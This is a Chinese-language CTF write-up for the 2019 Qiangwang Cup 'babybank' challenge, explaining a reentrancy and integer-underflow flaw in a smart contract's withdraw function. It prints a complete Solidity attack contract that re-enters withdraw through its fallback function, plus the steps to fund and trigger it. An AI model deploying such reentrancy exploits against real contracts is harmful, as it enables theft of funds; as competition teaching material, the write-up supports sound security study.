BABYBANK
我們通過合約地址進行逆向得到合約的逆向代碼(https://ethervm.io/decompile/)

由代碼分析我們得出代碼中的關鍵函數分別為:guess、profit、transfer、withdraw。 且合約中存在兩個關鍵變量:balance(余額)以及level(一種標記)。
在審計合約之后我們發現 profit函數:每個賬戶只允許調用一次,并發送錢包1 token;
guess函數需要level值為1且調用后余額+1、leve+1 ;
而transfer函數滿足必須balance與level同時為2才能調用,且調用后收款方余額變為2,且轉賬方余額變為0 ;
withdraw函數表示取款,且合約會將以太幣轉給msg.sender。
然而漏洞點就在withdraw中。熟悉區塊鏈的人都知道此處使用.call方法進行轉賬,而這種方法會調用收款方的fallback函數,從而引發重入攻擊。
于是我們利用此來進行攻擊。我們還看到withdraw中還存在如下方法:

當存在減法且沒有判斷時,我們就可以認定這里存在溢出,然而要滿足溢出條件需要storage[temp2]<temp1。可是前面代碼加了判斷,所以我們需要在中間調用.call時進行對余額的操作從而讓其減小。 我們可以在合約調用如下句子的時候調用收款人的fallback函數從而再次執行withdraw,加入合約余額為2,轉賬金額設置為2。而在中間進行調用可以很好的繞過余額的檢測,從而達成2-2-2的情況,從而溢出。
貼上攻擊合約
contract hack{
babybank a;
uint count = 0;
event log(uint256);
constructor(address b)public{
a = babybank(b);
}
function () public payable {
if(count==2){
log(3);
}else{
count = count + 1;
a.withdraw(2);
log(1);
}
}
function getMoney() public payable{}
function hacker() public{
a.withdraw(2);
log(2);
}
function payforflag1(string md5ofteamtoken,string b64email) public{
a.payforflag(md5ofteamtoken,b64email);
}
function kill() {
selfdestruct(0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c);
}
}

- 1 由于合約本身沒有以太幣,所以我們先生成合約A調用自殺函數給題目轉錢。
- 2 進行轉賬操作,我們使用賬戶B分別調用profit()、guess()、transfer()給C賬戶轉2token。
- 3 當C有了2token便可以進行攻擊,調用hacker函數即可。
PS:由于合約需要前四位為“b1b1”的賬戶,所以我們需要https://vanity-eth.tk/ 來生成相應的賬戶B。

調動成功后在郵箱收到flag

2019強網杯-Writeup